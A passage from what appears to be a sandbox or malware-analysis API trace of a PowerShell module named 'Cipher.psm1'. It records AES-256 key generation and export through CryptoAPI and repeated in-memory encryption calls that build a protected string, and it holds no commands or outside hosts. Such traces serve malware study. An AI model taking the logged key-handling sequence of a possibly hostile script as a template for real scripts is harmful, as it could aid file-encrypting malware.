Data4=([0]=0x66, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.245] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x58, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x58, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.245] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeba4, nSize=0x80 | out: lpBuffer="") returned 0x0 [0125.245] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae780, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0125.245] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aee7c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee7c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x67, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.245] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeddc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeddc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x58, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.245] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x67, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x67, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.246] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae6f8, nSize=0x100 | out: lpBuffer="ᅡ玶") returned 0x0 [0125.246] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae3d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0125.246] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aead0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aead0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x68, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.246] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea30*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x67, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.246] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x68, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x68, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.247] CryptAcquireContextW (in: phProv=0x99ae370, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae370*=0x8e03460) returned 1 [0125.247] CryptGenKey (in: hProv=0x8e03460, Algid=0x6610, dwFlags=0x1, phKey=0x99ae79c | out: phKey=0x99ae79c*=0x8e85538) returned 1 [0125.247] CryptContextAddRef (hProv=0x8e03460, pdwReserved=0x0, dwFlags=0x0) returned 1 [0125.247] CryptExportKey (in: hKey=0x8e85538, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae788 | out: pbData=0x0*, pdwDataLen=0x99ae788*=0x2c) returned 1 [0125.247] CryptExportKey (in: hKey=0x8e85538, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6adda70, pdwDataLen=0x99ae788 | out: pbData=0x6adda70*, pdwDataLen=0x99ae788*=0x2c) returned 1 [0125.247] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2ec, nSize=0x100 | out: lpBuffer="") returned 0x0 [0125.247] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae6c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x69, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.247] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae624*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae624*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x68, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.247] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae6b4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x69, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae6b4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x69, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.248] SysStringLen (param_1="") returned 0x8 [0125.248] SysStringLen (param_1="8") returned 0x8 [0125.248] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.248] SysStringLen (param_1="\xd131\x1a02\x8a97\x4f94\x53de\xcbe4\x33a1\x4ef9") returned 0x8 [0125.248] SysStringLen (param_1="\xd131\x1a02\x8a97\x4f94\x53de\xcbe4\x33a1\x4ef9") returned 0x8 [0125.248] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.248] SysStringLen (param_1="8A") returned 0x8 [0125.248] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.248] SysStringLen (param_1="\x70f\x9208\x5738\x5553\xd92e\x93a\x3fec\xdf80") returned 0x8 [0125.248] SysStringLen (param_1="\x70f\x9208\x5738\x5553\xd92e\x93a\x3fec\xdf80") returned 0x8 [0125.248] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.248] SysStringLen (param_1="8At") returned 0x8 [0125.248] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.248] SysStringLen (param_1="\x7a2e\x4aea\xf04d\xfa8\x7a73\x6ee3\x9746\x74b6") returned 0x8 [0125.248] SysStringLen (param_1="\x7a2e\x4aea\xf04d\xfa8\x7a73\x6ee3\x9746\x74b6") returned 0x8 [0125.248] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.248] SysStringLen (param_1="8AtX") returned 0x8 [0125.248] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.248] SysStringLen (param_1="\x67cc\x8a40\xbaa4\x6fd5\xd8a9\x706b\x86e3\xf9ea") returned 0x8 [0125.248] SysStringLen (param_1="\x67cc\x8a40\xbaa4\x6fd5\xd8a9\x706b\x86e3\xf9ea") returned 0x8 [0125.248] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.249] SysStringLen (param_1="8AtXz") returned 0x8 [0125.249] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.249] SysStringLen (param_1="\x30fe\xe64b\xc224\x521\xa278\x67bc\xae10\x4617") returned 0x8 [0125.249] SysStringLen (param_1="\x30fe\xe64b\xc224\x521\xa278\x67bc\xae10\x4617") returned 0x8 [0125.249] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.249] SysStringLen (param_1="8AtXz/") returned 0x8 [0125.249] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.249] SysStringLen (param_1="\x9f\xb081\x372a\xbd39\xa6dc\xe60e\x2ffa\xb713") returned 0x8 [0125.249] SysStringLen (param_1="\x9f\xb081\x372a\xbd39\xa6dc\xe60e\x2ffa\xb713") returned 0x8 [0125.249] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.249] SysStringLen (param_1="8AtXz/s") returned 0x8 [0125.249] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.249] SysStringLen (param_1="\xe2ce\xacfc\x6125\x7ca0\xe136\xfd84\x3283\x7e11") returned 0x8 [0125.249] SysStringLen (param_1="\xe2ce\xacfc\x6125\x7ca0\xe136\xfd84\x3283\x7e11") returned 0x8 [0125.249] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.249] SysStringLen (param_1="8AtXz/s8") returned 0x8 [0125.249] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.249] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88") returned 0x8 [0125.249] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88") returned 0x8 [0125.249] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88") returned 0x8 [0125.249] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88") returned 0x10 [0125.249] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.250] SysStringLen (param_1="8AtXz/s8M摒褵鷥樋赒屛") returned 0x10 [0125.250] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.250] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x2819\x82c6\x7ac8\x9170\x824e\xaa2\x15e1\xd542") returned 0x10 [0125.250] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x2819\x82c6\x7ac8\x9170\x824e\xaa2\x15e1\xd542") returned 0x10 [0125.250] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.250] SysStringLen (param_1="8AtXz/s8Mk褵鷥樋赒屛") returned 0x10 [0125.250] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.250] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\xca6b\x55ad\x78af\x8104\xb296\xde2b\xd15c\xf46a") returned 0x10 [0125.250] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\xca6b\x55ad\x78af\x8104\xb296\xde2b\xd15c\xf46a") returned 0x10 [0125.250] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.250] SysStringLen (param_1="8AtXz/s8Mkc鷥樋赒屛") returned 0x10 [0125.250] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.250] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\xbe50\x7534\x5adc\xddd4\x82d\xbd83\xdc38\x47b5") returned 0x10 [0125.250] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\xbe50\x7534\x5adc\xddd4\x82d\xbd83\xdc38\x47b5") returned 0x10 [0125.250] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.250] SysStringLen (param_1="8AtXz/s8Mkc0樋赒屛") returned 0x10 [0125.250] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.250] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\xbc9a\x35f4\xcd89\x800f\x3d0b\xd02f\xf256\xab7a") returned 0x10 [0125.250] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\xbc9a\x35f4\xcd89\x800f\x3d0b\xd02f\xf256\xab7a") returned 0x10 [0125.250] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.250] SysStringLen (param_1="8AtXz/s8Mkc0o赒屛") returned 0x10 [0125.250] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.251] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\xf7e9\xe3d8\x4a6d\xfde3\x47ae\x9c88\xab3c\xd7b6") returned 0x10 [0125.251] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\xf7e9\xe3d8\x4a6d\xfde3\x47ae\x9c88\xab3c\xd7b6") returned 0x10 [0125.251] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.251] SysStringLen (param_1="8AtXz/s8Mkc0o2赒屛") returned 0x10 [0125.251] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.251] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x857\xb91b\x2e94\xfbc1\xf30e\xa342\x18e4\x4346") returned 0x10 [0125.251] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x857\xb91b\x2e94\xfbc1\xf30e\xa342\x18e4\x4346") returned 0x10 [0125.251] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.251] SysStringLen (param_1="8AtXz/s8Mkc0o2O屛") returned 0x10 [0125.251] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.251] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x104d\x410c\xa574\x5c22\x1b76\xf288\x8c50\x8a15") returned 0x10 [0125.251] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x104d\x410c\xa574\x5c22\x1b76\xf288\x8c50\x8a15") returned 0x10 [0125.251] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.251] SysStringLen (param_1="8AtXz/s8Mkc0o2Ok") returned 0x10 [0125.251] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.251] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046") returned 0x10 [0125.251] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046") returned 0x10 [0125.251] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046") returned 0x10 [0125.251] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046") returned 0x18 [0125.251] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.251] SysStringLen (param_1="8AtXz/s8Mkc0o2Oky횥㏃ึ䍬帺ʣ炕") returned 0x18 [0125.251] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.252] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xa07a\xb20f\x74d2\xe9fe\x31e3\x10cd\xacaa\xf841") returned 0x18 [0125.252] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xa07a\xb20f\x74d2\xe9fe\x31e3\x10cd\xacaa\xf841") returned 0x18 [0125.252] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.252] SysStringLen (param_1="8AtXz/s8Mkc0o2Oky3㏃ึ䍬帺ʣ炕") returned 0x18 [0125.252] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.252] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\x71b8\x805c\x8a77\x6c1a\x2079\x70c8\x8612\xbc09") returned 0x18 [0125.252] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\x71b8\x805c\x8a77\x6c1a\x2079\x70c8\x8612\xbc09") returned 0x18 [0125.252] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.252] SysStringLen (param_1="8AtXz/s8Mkc0o2Oky3Jึ䍬帺ʣ炕") returned 0x18 [0125.252] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.252] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xde9f\x7ab1\x6b55\x2ad8\xab41\xf788\xe0d6\xff09") returned 0x18 [0125.252] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xde9f\x7ab1\x6b55\x2ad8\xab41\xf788\xe0d6\xff09") returned 0x18 [0125.252] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.252] SysStringLen (param_1="8AtXz/s8Mkc0o2Oky3JA䍬帺ʣ炕") returned 0x18 [0125.252] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.252] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\x50c3\xe672\xb784\xc2d9\x5417\xcd17\x8cf3\xbb22") returned 0x18 [0125.252] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\x50c3\xe672\xb784\xc2d9\x5417\xcd17\x8cf3\xbb22") returned 0x18 [0125.252] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.252] SysStringLen (param_1="8AtXz/s8Mkc0o2Oky3JAU帺ʣ炕") returned 0x18 [0125.252] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.252] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xe617\x3c89\x93b4\xaa3d\x7390\x9e11\xa8d8\x8d3a") returned 0x18 [0125.252] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xe617\x3c89\x93b4\xaa3d\x7390\x9e11\xa8d8\x8d3a") returned 0x18 [0125.253] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.253] SysStringLen (param_1="8AtXz/s8Mkc0o2Oky3JAUSʣ炕") returned 0x18 [0125.253] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.253] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\x7aaa\xf2df\x9b4f\xc231\x7d7\x676a\x96f2\x5cd9") returned 0x18 [0125.253] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\x7aaa\xf2df\x9b4f\xc231\x7d7\x676a\x96f2\x5cd9") returned 0x18 [0125.253] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.253] SysStringLen (param_1="8AtXz/s8Mkc0o2Oky3JAUSX炕") returned 0x18 [0125.253] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.253] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\x4aa1\x2f5a\xc6f5\x9767\xaf7a\xe752\xca89\xcba1") returned 0x18 [0125.253] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\x4aa1\x2f5a\xc6f5\x9767\xaf7a\xe752\xca89\xcba1") returned 0x18 [0125.253] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.253] SysStringLen (param_1="8AtXz/s8Mkc0o2Oky3JAUSXc") returned 0x18 [0125.253] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.253] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14") returned 0x18 [0125.253] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14") returned 0x18 [0125.253] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14") returned 0x18 [0125.253] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14") returned 0x20 [0125.253] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.253] SysStringLen (param_1="8AtXz/s8Mkc0o2Oky3JAUSXck䱃ⳣ❇棠⿝") returned 0x20 [0125.253] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.253] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14\xe32d\x65d4\x467\xff36\x4e5d\xcfcd\x1adf\xd5d3") returned 0x20 [0125.254] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14\xe32d\x65d4\x467\xff36\x4e5d\xcfcd\x1adf\xd5d3") returned 0x20 [0125.254] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.254] SysStringLen (param_1="8AtXz/s8Mkc0o2Oky3JAUSXckBⳣ❇棠⿝") returned 0x20 [0125.254] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.254] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14\x5746\xdeb6\xb8fb\xe4d1\x8f73\x762f\xc9d7\xa000") returned 0x20 [0125.254] SysStringLen 